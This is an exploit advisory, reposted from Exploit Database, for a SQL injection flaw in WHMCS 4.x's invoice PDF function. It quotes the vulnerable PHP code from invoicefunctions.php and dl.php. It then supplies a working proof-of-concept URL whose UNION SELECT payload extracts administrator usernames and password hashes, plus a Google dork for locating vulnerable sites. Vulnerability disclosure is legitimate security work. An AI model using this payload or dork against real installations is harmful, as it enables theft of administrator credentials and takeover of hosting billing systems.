WHMCS 4.x – ‘invoicefunctions.php?id’ SQL Injection

• Exploit Database
• 8 阅读

• 作者： Ahmed Aboul-Ela
  日期： 2013-05-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/25442/

• # Title: WHMCS 4.x SQL Injection Vulnerability 
  # Google Dork: intext:"Powered by WHMCompleteSolution" OR inurl:"submitticket.php‎"‎
  # Author: Ahmed Aboul-Ela
  # Contact: Ahmed.Aboul3la[at]gmail[dot]com
  # Date: 14/5/2013
  # Vendor: http://www.whmcs.com
  # Version: 4.5.2 and perior versions should be affected too 
  # Tested on: Linux
  
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   Sql Injection Vulnerability in "/includes/invoicefunctions.php"
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   
  - Vulnerable Code Snippet :
   
  LINE 582: function pdfInvoice($id)
  LINE 583: {
  LINE 686: if ($CONFIG['GroupSimilarLineItems'])
  LINE 687: {
  LINE 688: $result = full_query('' . 'SELECT COUNT(*),id,type,relid,description,amount,taxed FROM tblinvoiceitems WHERE invoiceid=' . $id . ' GROUP BY `description`,`amount` ORDER BY id ASC');
  LINE 689: }
  
   As we can see here the $id argument of pdfInvoice function have been used directly at mysql query without any sanitization which leads directly to Sql Injection
   It appears that pdfInvoice function is being called at "/dl.php" file as the following:
   
   
  LINE 21: if ($type == 'i')
  LINE 22: {
  LINE 23: $result = select_query('tblinvoices', '', array(
  LINE 24: 'id' => $id
  LINE 25: ));
  LINE 26: $data = mysql_fetch_array($result);
  LINE 27: $invoiceid= $data['id'];
  LINE 28: $invoicenum = $data['invoicenum'];
  LINE 29: $userid = $data['userid'];
  LINE 30: if ((!$_SESSION['adminid'] && $_SESSION['uid'] != $userid))
  LINE 31: {
  LINE 32: downloadLogin();
  LINE 33: }
  LINE 34: if (!$invoicenum)
  LINE 35: {
  LINE 36: $invoicenum = $invoiceid;
  LINE 37: }
  LINE 38: require('includes/clientfunctions.php');
  LINE 39: require('includes/countries.php');
  LINE 40: require('includes/invoicefunctions.php');
  LINE 41: require('includes/tcpdf.php');
  LINE 42: $pdfdata = pdfInvoice($id);
  LINE 43: header('Pragma: public');
  LINE 44: header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
  LINE 45: header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
  LINE 46: header('Cache-Control: must-revalidate, post-check=0, pre-check=0, private');
  LINE 47: header('Cache-Control: private', false);
  LINE 48: header('Content-Type: application/octet-stream');
  LINE 49: header('Content-Disposition: attachment; filename="' . $invoicenum . '.pdf"');
  LINE 50: header('Content-Transfer-Encoding: binary');
  LINE 51: echo $pdfdata;
  LINE 52: exit();
  LINE 53: return 1;
  LINE 54: }
  
  
  As we can see at LINE "42" the pdfInvoice function have been called and passed $id Variable without any sanitization
  Afterwards it force the browser to download the generated invoice in PDF format
   
  - Proof of Concept for Exploitation 
   
  To Dump Administrator Credentials (user & pass):
   
  http://www.site.com/whmcs/dl.php?type=i&id=1 and 0x0=0x1 union select 1,2,3,4,CONCAT(username,0x3a3a3a,password),6,7 from tbladmins --
   
  ~ Result: The Browser will prompt download for the pdf invoice file after opening it you should find the username and pw hash there :)
   
  - Precondition to Successfully Exploit the Vulnerability:
   
  	"Group Similar Line Items" Option should be Enabled at the Invoices Settings in the WHMCS Admin ( It should be Enabled by default )
  	
  - Credits: 
  
  Ahmed Aboul-Ela - Information Security Consultant @ Starware Group